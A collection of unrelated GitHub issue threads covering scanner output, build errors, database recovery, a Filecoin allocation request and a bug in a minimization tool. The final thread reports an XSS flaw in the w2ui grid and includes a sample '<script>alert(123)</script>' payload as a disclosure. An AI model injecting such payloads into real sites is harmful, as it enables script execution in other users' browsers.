        "details": "Base64 Encode\nBasic authentication's only means of obfuscation is Base64 encoding. Since Base64 encoding is easily recognized and reversed, it offers only the thinnest veil of protection to your users, and should not be used.",
        "securityTool": "HorusecEngine",
        "language": "Java",
        "severity": "MEDIUM",
        "type": "Vulnerability",
        "commitAuthor": "-",
        "commitEmail": "-",
        "commitHash": "-",
        "commitMessage": "-",
        "commitDate": "-",
        "vulnHash": "7e84dc1cd7475a246d0e24436d559ea467df84d011c0238e2e82d8e699550423"
      }
    },
    {
      "vulnerabilityID": "00000000-0000-0000-0000-000000000000",
      "analysisID": "759fa0d2-badc-41d9-9471-9bd782f0223d",
      "createdAt": "2022-01-27T20:54:59.369752744Z",
      "vulnerabilities": {
        "vulnerabilityID": "d3d0de8c-8f09-4605-9874-7953624a60dd",
        "line": "40",
        "column": "8",
        "confidence": "LOW",
        "file": "src/main/resources/logback-spring.xml",
        "code": "<encoder>",
        "details": "Base64 Encode\nBasic authentication's only means of obfuscation is Base64 encoding. Since Base64 encoding is easily recognized and reversed, it offers only the thinnest veil of protection to your users, and should not be used.",
        "securityTool": "HorusecEngine",
        "language": "Java",
        "severity": "MEDIUM",
        "type": "Vulnerability",
        "commitAuthor": "-",
        "commitEmail": "-",
        "commitHash": "-",
        "commitMessage": "-",
        "commitDate": "-",
        "vulnHash": "452e863e3037f72516ace041eab41fbb34822f911a9b6e0b54f35a7efd2485ea"
      }
    },
    {
      "vulnerabilityID": "00000000-0000-0000-0000-000000000000",
      "analysisID": "759fa0d2-badc-41d9-9471-9bd782f0223d",
      "createdAt": "2022-01-27T20:54:59.369754694Z",
      "vulnerabilities": {
        "vulnerabilityID": "d4ac3492-0c53-4390-93d9-ef96c8d75f4d",
        "line": "42",
        "column": "9",
        "confidence": "LOW",
        "file": "src/main/resources/logback-spring.xml",
        "code": "</encoder>",
        "details": "Base64 Encode\nBasic authentication's only means of obfuscation is Base64 encoding. Since Base64 encoding is easily recognized and reversed, it offers only the thinnest veil of protection to your users, and should not be used.",
        "securityTool": "HorusecEngine",
        "language": "Java",
        "severity": "MEDIUM",
        "type": "Vulnerability",
        "commitAuthor": "-",
        "commitEmail": "-",
        "commitHash": "-",
        "commitMessage": "-",
        "commitDate": "-",
        "vulnHash": "29ae040f4035ee4b622785cf25f94ca41e43aca31526c446a544c6db4f742e19"
      }
    }

Thanks @jonybuzz, it's gonna help a lot.


add lvm2 as explicit dependency

Depending on the image the hoster offers, lvm2 might not be installed by default. This caused me many hours of pain when I tried to adapt this guide for a different hoster. Unfortunately during debugging Debian / initramfs was not very helpful. Even though I explicitly added lvm2 to initramfs' modules I got no error message about this missing module while building the initramfs. Instead it just silently skipped on including the modules necessary for cryptsetup in initramfs causing cryptroot-unlock to fail with the cryptic error timeout waiting for askpass. You just can't imagine my frustration when it turned out that I spent hours debugging an error, which would have been fixed by a simple apt install lvm2.
TL;DR
don't assume that the hosters os images include lvm2 by default and explicitly add it in all guides: apt install lvm2

Thanks for your contribution, I merge the PR now.


400 Bad Request when connecting from cloud service

I am currently trying to run discord.net through amazon AWS, but as it is not mono compatible (newtonsoft itself isn't) I am resorting to using a windows instance instead of the standard linux instance.
When trying to connect to discord, I am receiving Error 400 (Bad Request), stiming from SharpRestEngine.cs. There is not much other information that I can retrieve, as it only throws the error code.
I'm not sure what would make this happen, as I can run it on my local machine perfectly fine. I suppose amazon tries to be more strict with http requests in terms of formatting? The AWS help forums as well as google don't give much help.
Thanks for any help.

Also just tried with Microsoft azure, stacktrace:
Unhandled Exception: Discord.Net.HttpException: The server responded with error 400 (BadRequest)
   at Discord.Net.Rest.RestSharpEngine.<Send>d__10.MoveNext() in C:\Users\hunte\Downloads\Discord.Net-master\src\Discord.Net\Net\Rest\SharpRestEngine.cs:line 112
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at Discord.Net.Rest.RestClient.<Send>d__29.MoveNext() in C:\Users\hunte\Downloads\Discord.Net-master\src\Discord.Net\Net\Rest\RestClient.cs:line 122
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at Discord.Net.Rest.RestClient.<Send>d__25`1.MoveNext() in C:\Users\hunte\Downloads\Discord.Net-master\src\Discord.Net\Net\Rest\RestClient.cs:line 78
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at Discord.DiscordClient.<Login>d__79.MoveNext() in C:\Users\hunte\Downloads\Discord.Net-master\src\Discord.Net\DiscordClient.cs:line 260
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at System.Runtime.CompilerServices.TaskAwaiter.ValidateEnd(Task task)
   at Discord.DiscordClient.<BeginConnect>d__78.MoveNext() in C:\Users\hunte\Downloads\Discord.Net-master\src\Discord.Net\DiscordClient.cs:line 213
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at Discord.DiscordClient.<BeginConnect>d__78.MoveNext() in C:\Users\hunte\Downloads\Discord.Net-master\src\Discord.Net\DiscordClient.cs:line 233
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at Discord.DiscordClient.<Connect>d__76.MoveNext() in C:\Users\hunte\Downloads\Discord.Net-master\src\Discord.Net\DiscordClient.cs:line 168
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at DiscordUpload.Program.<<start>b__2_0>d.MoveNext() in C:\Users\hunte\Documents\Visual Studio 2015\Projects\DiscordUpload\DiscordUpload\Program.cs:line 56
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at Discord.DiscordClient.ExecuteAndWait(Func`1 asyncAction) in C:\Users\hunte\Downloads\Discord.Net-master\src\Discord.Net\DiscordClient.cs:line 1063
   at DiscordUpload.Program.start() in C:\Users\hunte\Documents\Visual Studio 2015\Projects\DiscordUpload\DiscordUpload\Program.cs:line 52
   at DiscordUpload.Program.Main(String[] args) in C:\Users\hunte\Documents\Visual Studio 2015\Projects\DiscordUpload\DiscordUpload\Program.cs:line 27

Are you using a User Account? If so, check your email

Yes, I am using a user account, and that seems to be where the problem is. Testing using a bot account doesn't give the error, however I am fairly certain it is not #349 because I have a discord.net build including the pull request that fixed it.

I meant what I said literally. Check your email, the inbox.

Thank you, that didn't even come to mind.


Can't build localhost and server

Hi, I am blocked on loading page
I build with npm run-script build
I put on my server :

folder res, assets and src
files bundle.js, bundle.js.map and index.html

Edit:
My bad I commented presets: ['@babel/preset-env'] to works in localhost
But now I have :
Uncaught TypeError: Class constructor System cannot be invoked without 'new'
    at new t (SDFTextSystem.js:17)
    at SystemManager.registerSystem (ecsy.module.js:17)
    at World.registerSystem (ecsy.module.js:1085)
    at Jr (index.js:173)
    at window.onload (index.js:430)

Hi,
I have still this error
assetManager.js:87 Error loading asset TypeError: Cannot set property 'ctx' of undefined
    at Xylophone.js:22
    at ut (Hall.js:82)
    at index.js:277
    at Bn._n.raycontrol (assetManager.js:82)`


Proguard Duplicate zip entry IExpandable.class

Getting proguard warning with new version. I saw that IExpandable was added in the FastAdapter library, so I'm assuming there is some conflict with MaterialDrawer.
Here's how I'm including the libraries.
   implementation('com.mikepenz:materialdrawer:6.0.0@aar') {
        transitive = true
        exclude module: "fastadapter"
    }
    implementation("com.mikepenz:fastadapter:3.2.4@aar") {
        transitive = true
    }
    implementation "com.mikepenz:fastadapter-commons:3.2.4@aar"
    implementation "com.mikepenz:fastadapter-extensions:3.2.4@aar"
    implementation 'com.mikepenz:materialize:1.1.2@aar'

   configurations.all {
      resolutionStrategy.force "com.mikepenz:fastadapter:3.2.4"
   }

#fastadapter
-dontwarn com.mikepenz.fastadapter.**
-dontwarn com.mikepenz.fastadapter_extensions.items.**

What's the best method of avoiding this collision?

You have a conflict with MaterialDrawer v6.0.0
Please either use the latest MaterialDrawer which uses the latest FastAdapter
Or add all modules of the fastadapter to the resolutionStrategy :)


mCSB_container mCS_hidden mCS_no_scrollbar

my code is something like

(function($)
{$(window).load(function(){
$(".history").mCustomScrollbar()
;});
})(jQuery);

div class="mCustomScrollbar" data-mcs-theme="dark"

div class="history"

but it always returns your scroll bar in display:none i can't display even when i try to change scroll shows but doesn't perform scroll functionality..

 div class="mCSB_container mCS_hidden mCS_no_scrollbar"

this always returns this...

Does .history element have a height set?
I also replied to your comment on plugin homepage.

Yes I have Set There height Too.. Very Earlier i tried almost many methods but all appears as error display:none, whenever i try to change that with fire bug or inspect element it instantly change again to none. Dont know what is wrong with this. Its a old issue.. since i post i am unable to use your plugin.

Can you send me a link or test page? I can't really tell what happens without seeing the complete code...

I am facing the same problem have u got the solution for this

Can anyone figure out the problem with this situation?


fix bug shown in CI related to wordnet

Hi @stevenbird,
Here's the attempt to fix bug related to wordnet shown in CI server.
Note that I deleted 2 tests involving unicode character as described in the development guideline.

Thanks @longdt219


Update/Remove fields which cannot be deserialised

Expected behavior and actual behavior
When I try to update/remove a field which is not possible to deserialise, I'm getting an exception:
java.lang.RuntimeException: com.orientechnologies.orient.core.exception.ODatabaseException: Error on deserialization of Serializable
	Storage URL="plocal:/var/erpdb/db"
	at com.orientechnologies.orient.core.serialization.serializer.record.binary.ORecordSerializerBinaryV0.deserializeValue(ORecordSerializerBinaryV0.java:492)
	at com.orientechnologies.orient.core.serialization.serializer.record.binary.ORecordSerializerBinaryV0.deserialize(ORecordSerializerBinaryV0.java:279)
	at com.orientechnologies.orient.core.serialization.serializer.record.binary.ORecordSerializerBinary.fromStream(ORecordSerializerBinary.java:80)
	at com.orientechnologies.orient.core.record.impl.ODocument.deserializeFields(ODocument.java:1866)
	at com.orientechnologies.orient.core.record.impl.ODocument.checkForFields(ODocument.java:2544)
	at com.orientechnologies.orient.core.record.impl.ODocument.field(ODocument.java:1067)
	at com.orientechnologies.orient.core.record.impl.ODocument.field(ODocument.java:913)
	at com.erp.db.DslDataDb.com$erp$db$DslDataDb$$setFieldData(DslDataDb.scala:160)

I expect that it should be able to update/remove such a field otherwise there is no way how to do it. This data was there by mistake but there should be a way how to wipe out the data.
Steps to reproduce the problem

Create a class a store this class in a serialised way in a field;
Remove this class;
Try to access remove/modify the field.

Important Questions
Runninng Mode

[X] Embedded, using PLOCAL access mode
[ ] Embedded, using MEMORY access mode
[ ] Remote

Misc

[ ] I have a distributed setup with multiple servers. How many?
[ ] I'm using the Enterprise Edition

OrientDB Version

[ ] v2.0.x - Please specify last number:
[ ] v2.1.x - Please specify last number:
[X] v2.2.x - Please specify last number: 0

Operating System

[X] Linux
[X] MacOSX
[ ] Windows
[ ] Other Unix
[ ] Other, name?

Java Version

[ ] 6
[ ] 7
[X] 8

HI @antonzherdev,
You should be able to remove the whole record as it is, so the suggestion is delete that record and create a new one.
By the way, what is the data that is there by mistake, is there any chance that we add some check to avoid this mistake ?

Another solution can be get out the field that you want to keep and clear the document.
ex:
ODocument doc = db.load(...);
Object keep = doc.field("fieldToKeep");
doc.clear();
doc.field("fieldToKeep",keep);
db.save(doc);

@tglman Thanks for the solution however it's not working for me. I'm getting the same exception:
com.orientechnologies.orient.core.exception.ODatabaseException: Error on deserialization of Serializable
	Storage URL="plocal:/var/erpdb/db"
	at com.orientechnologies.orient.core.serialization.serializer.record.binary.ORecordSerializerBinaryV0.deserializeValue(ORecordSerializerBinaryV0.java:492)
	at com.orientechnologies.orient.core.serialization.serializer.record.binary.ORecordSerializerBinaryV0.deserialize(ORecordSerializerBinaryV0.java:279)
	at com.orientechnologies.orient.core.serialization.serializer.record.binary.ORecordSerializerBinary.fromStream(ORecordSerializerBinary.java:80)
	at com.orientechnologies.orient.core.record.impl.ODocument.deserializeFields(ODocument.java:1866)
	at com.orientechnologies.orient.core.record.impl.ODocument.checkForFields(ODocument.java:2544)
	at com.orientechnologies.orient.core.record.impl.ODocument.setDirty(ODocument.java:1427)
	at com.orientechnologies.orient.core.record.ORecordAbstract.clear(ORecordAbstract.java:97)
	at com.orientechnologies.orient.core.record.impl.ODocument.clear(ODocument.java:1543)
	at com.erp.db.DslDataDb.fixDocument(DslDataDb.scala:93)
	at com.erp.db.DslDataDb.com$erp$db$DslDataDb$$fieldData(DslDataDb.scala:80)
	at com.erp.db.DslDataDb$$anonfun$fields$2.apply(DslDataDb.scala:62)
	at com.erp.db.DslDataDb$$anonfun$fields$2.apply(DslDataDb.scala:60)
	at scala.collection.TraversableLike$$anonfun$map$1.apply(TraversableLike.scala:234)
	at scala.collection.TraversableLike$$anonfun$map$1.apply(TraversableLike.scala:234)
	at scala.collection.immutable.List.foreach(List.scala:381)
	at scala.collection.TraversableLike$class.map(TraversableLike.scala:234)
	at scala.collection.immutable.List.map(List.scala:285)
	at com.erp.db.DslDataDb.fields(DslDataDb.scala:60)
	at com.erp.net.NetData$.apply(NetData.scala:31)
	at com.erp.db.WorkspaceDbProcessor.toEntityData(WorkspaceDbProcessor.scala:438)
	at com.erp.db.WorkspaceDbProcessor.com$erp$db$WorkspaceDbProcessor$$toEntityResult(WorkspaceDbProcessor.scala:423)
	at com.erp.db.WorkspaceDbProcessor.load(WorkspaceDbProcessor.scala:26)
	at com.erp.db.WorkspaceDbActor.com$erp$db$WorkspaceDbActor$$processMessage(WorkspaceDbActor.scala:139)
	at com.erp.db.WorkspaceDbActor$$anonfun$active$1$$anonfun$applyOrElse$6.apply(WorkspaceDbActor.scala:119)
	at com.erp.db.WorkspaceDbActor$$anonfun$active$1$$anonfun$applyOrElse$6.apply(WorkspaceDbActor.scala:117)
	at com.erp.db.WorkspaceDbActor.com$erp$db$WorkspaceDbActor$$withDb(WorkspaceDbActor.scala:129)
	at com.erp.db.WorkspaceDbActor$$anonfun$active$1.applyOrElse(WorkspaceDbActor.scala:117)
	at akka.actor.Actor$class.aroundReceive(Actor.scala:482)
	at com.erp.db.WorkspaceDbActor.aroundReceive(WorkspaceDbActor.scala:21)
	at akka.actor.ActorCell.receiveMessage(ActorCell.scala:526)
	at akka.actor.ActorCell.invoke(ActorCell.scala:495)
	at akka.dispatch.Mailbox.processMailbox(Mailbox.scala:257)
	at akka.dispatch.Mailbox.run(Mailbox.scala:224)
	at akka.dispatch.Mailbox.exec(Mailbox.scala:234)
	at scala.concurrent.forkjoin.ForkJoinTask.doExec(ForkJoinTask.java:260)
	at scala.concurrent.forkjoin.ForkJoinPool$WorkQueue.runTask(ForkJoinPool.java:1339)
	at scala.concurrent.forkjoin.ForkJoinPool.runWorker(ForkJoinPool.java:1979)
	at scala.concurrent.forkjoin.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:107)
Caused by: com.orientechnologies.orient.core.exception.ODatabaseException: Error on deserialization of Serializable
	Storage URL="plocal:/var/erpdb/db"
	at com.orientechnologies.orient.core.serialization.serializer.record.binary.OSerializableWrapper.fromStream(OSerializableWrapper.java:48)
	at com.orientechnologies.orient.core.serialization.serializer.record.binary.ORecordSerializerBinaryV0.deserializeValue(ORecordSerializerBinaryV0.java:486)
	... 37 common frames omitted
Caused by: java.io.InvalidClassException: com.orientechnologies.orient.core.record.ORecordAbstract; local class incompatible: stream classdesc serialVersionUID =<PHONE_NUMBER>688988828, local class serialVersionUID =<PHONE_NUMBER>098947568
	at java.io.ObjectStreamClass.initNonProxy(ObjectStreamClass.java:621)
	at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1623)
	at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1518)
	at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1623)
	at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1518)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1774)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
	at java.io.ObjectInputStream.readArray(ObjectInputStream.java:1707)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1345)
	at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1993)
	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1918)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
	at com.orientechnologies.orient.core.serialization.serializer.record.binary.OSerializableWrapper.fromStream(OSerializableWrapper.java:45)
	... 38 common frames omitted

I tried both clear and remove and I'm getting the same exception. The problem is that almost all methods are calling checkForFields and it triggers deserialisation for all fields. For example, setDirty method which is called by the clear method. And the delete method is calling setDirty as well.
I use Scala and I think I forgot to convert Seq[ODocument] into Java collection. So it was serialised.
It's correct when I'm getting the exception when I try to access this field however I think it should allow to modify data in this field. Otherwise there is no way how to fix the situation.

hi @antonzherdev so this will work:
ODocument doc = db.load(...);
Object keep = doc.field("fieldToKeep");
ODocument docNew = new ODocument(doc.getIdentity());
ORecordInternal.serVersion(docNew,doc.getVersion());
docNew.field("fieldToKeep",keep);
db.save(docNew);

another solution is to delete completely the record, in any case save information using the java serialization is not suggested for this kind of troubles.
i would say in this case would be better if you serliaze the value independetly and use fields of BINARY type.
Bye

@tglman This solution is not working as well. It produces the same error when I try to save it:
java.lang.RuntimeException: com.orientechnologies.orient.core.exception.ODatabaseException: Error on deserialization of Serializable
	Storage URL="plocal:/var/erpdb/db"
	at com.orientechnologies.orient.core.serialization.serializer.record.binary.ORecordSerializerBinaryV0.deserializeValue(ORecordSerializerBinaryV0.java:492)
	at com.orientechnologies.orient.core.serialization.serializer.record.binary.ORecordSerializerBinaryV0.deserialize(ORecordSerializerBinaryV0.java:279)
	at com.orientechnologies.orient.core.serialization.serializer.record.binary.ORecordSerializerBinary.fromStream(ORecordSerializerBinary.java:80)
	at com.orientechnologies.orient.core.record.impl.ODocument.deserializeFields(ODocument.java:1866)
	at com.orientechnologies.orient.core.record.impl.ODocument.checkForFields(ODocument.java:2544)
	at com.orientechnologies.orient.core.record.impl.ODocument.validate(ODocument.java:2034)
	at com.orientechnologies.orient.core.db.document.ODatabaseDocumentTx.save(ODatabaseDocumentTx.java:2514)
	at com.orientechnologies.orient.core.db.document.ODatabaseDocumentTx.save(ODatabaseDocumentTx.java:2404)
	at com.orientechnologies.orient.core.db.document.ODatabaseDocumentTx.save(ODatabaseDocumentTx.java:99)
	at com.erp.db.DslDataDb.fixDocument(DslDataDb.scala:108)

If I try to delete the item I will have the same error. I can do nothing with this item now. This is the problem.
It was not my intension to store serialised data but OrientDB does it automatically if the data type is not known. It's hard to notice because everything is working until the classes are not modified. This is not ideal but it's fine if there is a way how to clean this data. Because now I have a partially broken database and there is no way to recover.

hi @antonzherdev,
I wrote a test case, so i could be 100% sure that my suggestion where right, here it is:https://gist.github.com/tglman/e70de22120d9763cb7ed497dbd4a074d
so this work for sure, there is also a kind of 'emergency api' if you cannot remove the record anymore, but that's is the last option and it don't clean up indexes and staff like that, is  "ODatabaseDocument.hide(doc.getIdentity())"
Hope this finally helps.
Regards.

Hi @tglman
I tried the solution and it's working for me.
The difference with your previous solution is that you are calling ORecordInternal.setIdentity instead of passing the identity as a constructor parameter. In this case it's working, with constructor parameter it's not.
Thanks!

Hi @antonzherdev,
Great that we got it done, can i close this now? we will take care to make this kind of errors easyer to recover from.
Bye

@tglman Yes, sure. Thank!


How to take the key event from botframework webchat?

I'm building a bot using botframework webchat in react js. I just added suggestions to it. Now I want to make my up/down arrow keys for selecting options from the suggestion list. How can i do that?

Hi @thomas023. We prefer how-to questions are answered on Stack Overflow. Please direct your query to https://stackoverflow.com/search?q=bot+framework+webchat
Closing this issue.


Exporting tall chart to PDF does not work

If I have tall enough chart and try to export that to PDF file, I either get blank PDF file or browser jams. Tested with Chrome (ver 46).
CodePen environment to reproduce this error: http://codepen.io/anon/pen/NxKVGY
Reproduce steps:
Hover over Download button on chart > Hover over "Download as..." > Click "PDF"
Result: Got PDF file with no chart
Expected result: To get PDF file with chart
Then you can edit css height of #chartdiv to 500px and try again, PDF export works.

Looks like pdfMake has an issue splitting image data across multiple pages.
You can adapt the boundary box for the image to make it fit in one page, if that's fine for you.
Check the pdfMake property within the config to overwrite the defaults:
http://codepen.io/team/amcharts/pen/VeZOXb (forked sample)

Ok and thanks, the "fit" property did the job.
I needed to set values a little bit smaller than mentioned in documentation, there might be some margins applying.
E.g. this worked for me:
"content": [
    {
        "image": "reference",
        "fit": [ 500.28, 749.89 ] // fit image to A4
    }
]

And here is working (Chrome) Codepen link:
http://codepen.io/anon/pen/xZbbRj


Client Allocation Request for: Tedu Edu

Client Allocation Questions
Core Information

Name: Tedu Edu
Website / Social Media: http://www.tedu.cn/
Region: Greater China Region
DataCap Requested: 50TiB
Addresses to be Notarized: f1dabytgrmuqit3pckmik5snxwktwggrtv5al66ma
Notary Requested: swatchliu

@Vicky1911 Please subscribe to notifications for this Issue to be aware of updates. Notaries may request additional information on the Issue.

Thanks for your request. Can you kindly add more information here?
Is your company located in Greater China？
Please give the following information and provide links to social media/news mentions.
Duration of establishment,
Number of employees,
Business scope and products or services,
Social media link (Weibo, WeChat, Douyin, Zhihu, Facebook, Twitter, Linkedin, e.g.)
Data size to be stored,
Have you already applied for DataCap to another notary, and whether it is accepted or rejected? Is there any reliable DataCap left?
Would you like to submit more company information on www.bytebase.cn?
Would you like to accept our face-to-face visit?

Hello @swatchliu
Yes. We have established several campus in many cities of China.
Our company were established in September 2002.
We have 900 employees now.
Tedu has a comprehensive education group covering IT and Internet career empowerment, industry-education integration, school-enterprise cooperation and other fields.
Wechat：达内教育
We have more than 24TiB data and we need 2 copies, total 50TiB.
Yes, we used to send applications and all of them were accepted. No datacap left.
Sure! You can contact me via github.
We have office in Shanghai. Welcome!

Request Approved
Your Datacap Allocation Request has been approved by the Notary
Message sent to Filecoin Network

bafy2bzacec7ntcehjcqk3odbcrcneowvl7sjxbgrgsf6xxc7gvhjwv3ete6ac

Address

f1dabytgrmuqit3pckmik5snxwktwggrtv5al66ma

Datacap Allocated

50.00TiB

Signer Address

f1yh6q3nmsg7i2sys7f7dexcuajgoweudcqj2chfi

You can check the status of the message here: https://filfox.info/en/message/bafy2bzacec7ntcehjcqk3odbcrcneowvl7sjxbgrgsf6xxc7gvhjwv3ete6ac


Not Minimizing a Specific Method - Gets Stuck at Run (Urgent)

When running Specimin on org.checkerframework.dataflow.analysis.AbstractAnalysis#getCurrentTree() the process just runs without minimizing, throwing an exception, completing, or exiting in anyway. I tried multiple times and one time waited for over 5 minutes before terminating the process.
Link to the method: AbstractAnalysis#getCurrentTree()
I find this issue to be urgent because ASHE can drynrun and iterate over exceptions thrown by Specimin, but if we are getting hung up on issues like this, there is no way to bypass but to manually force a skip of this method (hardcode it). This is not the best solution. There might be more methods that get hung up that we are unaware currently.
./gradlew run --args='--outputDirectory "tempDir" --root "/my/absolute/path/checker-framework/dataflow/src/main/java" --targetFile "org/checkerframework/dataflow/analysis/AbstractAnalysis.java" --targetMethod "org.checkerframework.dataflow.analysis.AbstractAnalysis#getCurrentTree()"'
There is a chance I am just calling this method incorrectly. If so, please let me know!

I am currently looking into this issue.

@jonathan-m-phillips

This appears to be an infinite loop when trying to minimize. I believe we are visiting each field and method within the class unlimited amounts of times

I think this is due to UnsolvedSymbolVisitor can not create synthetic classes to solve some unsolved symbols in the input file. UnsolvedSymbolVisitor only stops when all the symbols in the input file are solved.

Also, @LoiNguyenCS, does the following missing classes seem like normal behavior? These are just a few examples.

Yes, there are correct. The names of those synthetic types look quite long, but it helps to avoid unwanted duplications.

@jonathan-m-phillips #91, which was just merged, might help with this (and you should merge from main before you continue debugging so that you're using it): it will remove the <V, S, T> in the middle of these class names. At the very least, it should make this easier to debug.

Oh, I've made a mistake. There should not be any <V, S, T> in the middle of these class names.
I will make a PR to address this problem, since #91 only remove the generic types when handling file paths.

@LoiNguyenCS I've found a small test case that triggers this loop. It's on the branch outer-class-field, which is named incorrectly (sorry).
The key problem is that the input file contains usages of an interface that is not a target file but is available as source (org.checkerframework.dataflow.cfg.block.Block. This interface extends another interface, which is from a library: org.plumelib.util.UniqueId. I suspect that there's some issue in how we handle interfaces that causes this problem, but I'm not sure what it is (and I have no more time to debug today). If you know what's wrong, I'd appreciate it if you'd implement a fix; if not, I can look into more deeply later this week.

If you know what's wrong, I'd appreciate it if you'd implement a fix; if not, I can look into more deeply later this week.

I have found a fix for that. It happens because Block is not added as a target file, which leads to UniqueId never be solved by UnsolvedSymbolVisitor.

I have found a fix for that. It happens because Block is not added as a target file, which leads to UniqueId never be solved by UnsolvedSymbolVisitor.

I don't think Block needs to be a target file - there's no need to preserve UniqueId, because it (and its associated methods) are never used in the actual target class. We do need a synthetic class for Block, but that synthetic class doesn't need to implement UniqueId (I think).

Professor,

We do need a synthetic class for Block, but that synthetic class doesn't need to implement UniqueId (I think).

In your test case, Block is in the original input. Creating a synthetic class for a class originally present in the input is risky, as it could lead to the loss of additional data from the class that might be utilized by other classes.
So I think it's better to add Block to the list of target files and create a synthetic class for UniqueId, or we can modify PrunerVisitor to remove the extends UniqueId part from the declaration of Block, just like how we handle unsolved interfaces.
(As I understand, creating a synthetic class is writing a new class from scratch, similar to how we handle imported classes from external libraries. Please let me know if I am misunderstanding you.)

Professor,

we can modify PrunerVisitor to remove the extends UniqueId part from the declaration of Block

By testing, I've realized that this is quite difficult to do. Given your test case in #107, class B and its associate methods and fields are not used in the target method, but if we remove the "extends B" part in the declaration of class A, we will have a compilation issue.

If UniqueId is preserved as a synthetic class, that's okay

So I think we should adapt this solution, which is more much easier.

If UniqueId is preserved as a synthetic class, that's okay
So I think we should adapt this solution, which is much easier

Sounds good to me.

Fixed by #114.


Filtering and node selection

Below given example provides option to filter the tree via search input box.
http://plnkr.co/edit/wOo98cSXa12rRLZO85lr?p=preview
As per documentation, Keep in mind that selections (i.e. checkboxes) are filter independent. In other words, filtered away nodes will still be affected by parent selection changes.
For example, filtered shows two entries with a parent. When I selected the parent, it selected the two childrens but it internally selected all the childrens under the parent. What expected is it should select only the filtered childrens instead of all childrens present under the parent.
Is there any option available to do this.

There's no option for this out of the box but you can achieve it by dropping in your own checkboxes to update selections as you like.
Duplicate of #96


PTNFLY-1334 Migrate all "Forms and Controls" Content Over to the Site

Added overview, design and code for datepicker, timepicker, field level help, and find.
Renamed template ids to use a similar naming convention such as "#{{ include.id }}".

LGTM

LGTM


No valid redirection after bad page

The app does not allow navigation to valid pages after hitting a bad page.

Good luck figuring it out!


Improved: list and grids (OFBIZ-11345)

changed:
FinAccountForms.xml: changed forms with list attributed to grids, additional cleanup
FinAccountScreens.xml: changed form reference for lists to grid reference

Thanks Jacques for your assistance to get this merged.


Security: Cross-site Scripting (XSS) Attack

w2ui grid control is subject of XSS attack. "records" fields values are insert into HTML as is, without proper escaping.
To reproduce try http://w2ui.com/web/demos/#!grid/grid-21 demo, and insert as a value following text:
<script>alert(123)</script>

If I understand correctly, the main remedy for XSS attacks is to sanitize user input when it is saved on the server. The security issue is not when user can execute code on the local machine (which you can do any time opening console and executing js), but when a js script is saved into db and then executed on another users machine, allowing hacker to still the session.
I will evaluate what can be done to help developer deal with this issues.

The check should be server-sided before data from the grid saved to the the db. It makes no sense doing this client-sided. At most, in addition to server-sided check.

You absolutely right in case of HTML generation on server-side. But imagine if you have generic REST service returning JSON. Such service should return original data as is without any assumption where and how data will be used, so it can't do encoding ahead (on server side).
That is actually my case - I have static HTML, it has w2ui grid which consumes the service. The original "reproduce" scenario in this issue report was just to easily show the general problem.
In my case an user is not able to enter any data by himself, but only see what REST service returned. The user should be able to see and search (with proper highlighting!) whatever data returned from the server (even if data contains tags, scripts or whatever). But at the same time the data from server should not be "executable" in any sense - only visible, searchable and (if needed) editable. So, I don't see how this could be achievable without proper data encoding on client side.
My current workaround is specify "render" function for a column, and there I do something like this:
columns: [{ field: 'name', caption: 'Name', size: '35%', sortable: true,
    render: function (record) {
        return w2utils.encodeTags(record.name);
    }

It works (prevents data "execution"), but search highlighting completely goes wrong as soon as you have < or > symbols is your data. In such case entering "lt", ";" text in search breaks data visualization in the grid.

It is a common practice for render function (similar as in your example) to return HTML that should be inserted as HTML. It is much more common then inserting it with encoded tags. As such, I think it is proper behavior. If you want to display tags, then doing what you doing is the way to go and as you see, it is just with a few lines of code. As for highlight, you are right, there are some bugs with it and it needs to be fixed.
I do not see here a security issue. I am of the opinion that data needs to be sanitized when it is saved and it should be server side sanitation. I think it is logical to assume that whatever your server returns is  trusted data. If you assume that your server data is not trusted, then you have a bigger security concern that all the data (which might include sensitive), on the server is compromised and that need to be addressed.

